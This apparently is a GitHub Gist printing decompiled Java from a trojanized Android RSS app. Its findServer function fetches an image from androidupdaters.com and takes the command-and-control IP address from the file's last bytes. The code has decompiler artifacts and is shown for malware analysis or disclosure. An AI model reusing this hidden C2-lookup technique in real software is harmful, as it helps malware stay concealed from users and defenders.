Last active
March 26, 2019 15:12
-
-
Save zivzeira/2ab92a47799c864093f3e36745444dfe to your computer and use it in GitHub Desktop.
Code: findServer function at apaspy.iqual.appspy.Mal at Trojanized ArabicRSS.apk - package com.alywa.arabic.name, version 3.4.1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static Boolean findServer() { | |
| Boolean valueOf; | |
| Log.e("SERVER ADDRESS", "FINDING SERVER"); | |
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
| InputStream input = null; | |
| HttpURLConnection connection = null; | |
| if (3 <= null) { | |
| return Boolean.valueOf(true); | |
| } | |
| try { | |
| Log.e("SERVER ADDRESS", "TRYING TO FIND SERVER"); | |
| connection = (HttpURLConnection) new URL("http://androidupdaters.com/img.jpg").openConnection(); | |
| connection.connect(); | |
| if (connection.getResponseCode() != Callback.DEFAULT_DRAG_ANIMATION_DURATION) { | |
| Log.e("SERVER ADDRESS", connection.getResponseMessage()); | |
| valueOf = Boolean.valueOf(false); | |
| if (input != null) { | |
| try { | |
| input.close(); | |
| } catch (IOException ignored) { | |
| ignored.printStackTrace(); | |
| } | |
| } | |
| if (connection == null) { | |
| return valueOf; | |
| } | |
| connection.disconnect(); | |
| return valueOf; | |
| } | |
| int fileLength = connection.getContentLength(); | |
| input = connection.getInputStream(); | |
| Log.e("SERVER ADDRESS", "FILE LENGTH: " + String.valueOf(fileLength)); | |
| byte[] data = new byte[fileLength]; | |
| while (true) { | |
| int size = input.read(data); | |
| if (size == -1) { | |
| break; | |
| } | |
| baos.write(data, 0, size); | |
| baos.flush(); | |
| } | |
| Matcher matcher = Pattern.compile("(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)").matcher(new String(Arrays.copyOfRange(baos.toByteArray(), fileLength - 15, fileLength))); | |
| if (matcher.find()) { | |
| Log.e("SERVER ADDRESS", "[" + matcher.group() + "]"); | |
| Server_Domain = "http://" + matcher.group(); | |
| valueOf = Boolean.valueOf(true); | |
| if (input != null) { | |
| try { | |
| input.close(); | |
| } catch (IOException e2) { | |
| e2.printStackTrace(); | |
| } | |
| } | |
| if (connection == null) { | |
| return valueOf; | |
| } | |
| connection.disconnect(); | |
| return valueOf; | |
| } | |
| Server_Domain = null; | |
| valueOf = Boolean.valueOf(false); | |
| if (input != null) { | |
| try { | |
| input.close(); | |
| } catch (IOException e22) { | |
| e22.printStackTrace(); | |
| } | |
| } | |
| if (connection == null) { | |
| return valueOf; | |
| } | |
| connection.disconnect(); | |
| return valueOf; | |
| } catch (Exception e) { | |
| int imageAttempt = 3 - 1; | |
| e.printStackTrace(); | |
| valueOf = Boolean.valueOf(false); | |
| if (input != null) { | |
| try { | |
| input.close(); | |
| } catch (IOException ignored222) { | |
| ignored222.printStackTrace(); | |
| } | |
| } | |
| if (connection == null) { | |
| return valueOf; | |
| } | |
| connection.disconnect(); | |
| return valueOf; | |
| } catch (Throwable th) { | |
| if (input != null) { | |
| try { | |
| input.close(); | |
| } catch (IOException e2222) { | |
| e2222.printStackTrace(); | |
| } | |
| } | |
| if (connection != null) { | |
| connection.disconnect(); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment